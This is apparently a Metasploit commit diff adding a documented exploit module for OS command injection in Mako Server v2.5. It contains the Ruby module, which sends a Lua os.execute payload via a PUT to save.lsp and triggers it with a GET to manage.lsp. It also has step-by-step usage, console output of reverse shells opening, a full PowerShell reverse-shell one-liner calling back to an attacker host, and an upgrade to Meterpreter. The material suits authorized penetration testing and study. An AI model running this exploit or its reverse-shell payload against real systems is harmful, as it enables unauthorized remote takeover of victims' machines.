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Land #9133, Command injection in Mako Server examples
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163 changes: 163 additions & 0 deletions documentation/modules/exploit/windows/http/makoserver_cmd_exec.md
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## Description

This module exploits a vulnerability found in Mako Server v2.5.
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.

Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391

## Vulnerable Application

[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.

This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
- v2.5

Links:
- [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
- [Windows download page](https://makoserver.net/download/windows)
- [Documentation](https://makoserver.net/documentation/manual/)

## References for vulnerability
- https://blogs.securiteam.com/index.php/archives/3391
- https://www.exploit-db.com/exploits/42683

## Verification Steps

1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
3. Start msfconsole on host
4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
5. Do: ```set RHOST <IP address of target system>```
6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
7. Do: ```set LHOST <IP address of host system>```
8. Do: ```exploit```
9. You should get a Windows command shell

## Example Output
```
msf > use exploit/windows/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
```

## Example Verbose Output
```
msf > use exploit/windows/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set VERBOSE true
VERBOSE => true
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > check
[*] Trying to detect running Mako Server and necessary files...
[*] Mako Server save.lsp returns correct ouput.
[*] 10.10.10.3:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
[*] Sending PUT request to save.lsp...
[*] Sending GET request to manage.lsp...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
```

## Scenarios

### Targeting Windows 7 SP1 x64 running Mako Server v2.5

A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:

```
msf > use exploit/windows/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
Microsoft Windows
Copyright (c) Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[-] Powershell is not installed on the target.
[*] Command stager progress: 1.66% (1699/102108 bytes)
...
[*] Command stager progress: 100.00% (102108/102108 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: smith-PC\smith
meterpreter > sysinfo
Computer : SMITH-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```
125 changes: 125 additions & 0 deletions modules/exploits/windows/http/makoserver_cmd_exec.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
'Description' => %q{
This module exploits a vulnerability found in Mako Server v2.5.
It's possible to inject arbitrary OS commands in the Mako Server
tutorial page through a PUT request to save.lsp.
Attacker input will be saved on the victims machine and can
be executed by sending a GET request to manage.lsp.
},
'License' => MSF_LICENSE,
'Author' =>
[
'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
],
'References' =>
[
['EDB', '42683'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Targets' =>
[
['Mako Server v2.5 - Windows x86/x64', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Sep 3 2017'))

register_options(
[
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
]
)
end

def check
vprint_status('Trying to detect running Mako Server and necessary files...')

# Send GET request to determine existence of save.lsp page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
}, 20)

# If response does not include "MakoServer.net", target is not viable.
if res.headers['Server'] !~ /MakoServer.net/
vprint_warning('Target is not a Mako Server.')
return CheckCode::Safe
end

if res.body
if res.body =~ /Incorrect usage/
# We are able to determine that the server has a save.lsp page and
# returns the correct output.
vprint_status('Mako Server save.lsp returns correct ouput.')
return CheckCode::Appears
else
# The page exists, but is not returning the expected output.
# May be a different version?
vprint_warning('Mako Server save.lsp did not return expected output.')
return CheckCode::Detected
end
else
# The above checks failed and exploitability could not be determined.
vprint_error('Unable to determine exploitability, save.lsp not found.')
return CheckCode::Unknown
end

return CheckCode::Safe
end

def exploit
print_status('Sending payload to target...')

# The double square brackets helps to ensure single/double quotes
# in cmd payload do not interfere with syntax of os.execute Lua function.
cmd = %{os.execute([[#{payload.encoded}]])}

# If users want to troubleshoot their cmd payloads, they can see the
# Lua function with params that the module uses in a more verbose mode.
vprint_status("Now executing the following command: #{cmd}")

# Send a PUT request to save.lsp with command payload
begin
vprint_status('Sending PUT request to save.lsp...')
send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
'ctype' => 'text/plain',
'data' => cmd,
'http' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => 'http://localhost/Lua-Types.lsp'
}
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end

# Send a GET request to manage.lsp with execute set to true
begin
vprint_status('Sending GET request to manage.lsp...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end
end
end

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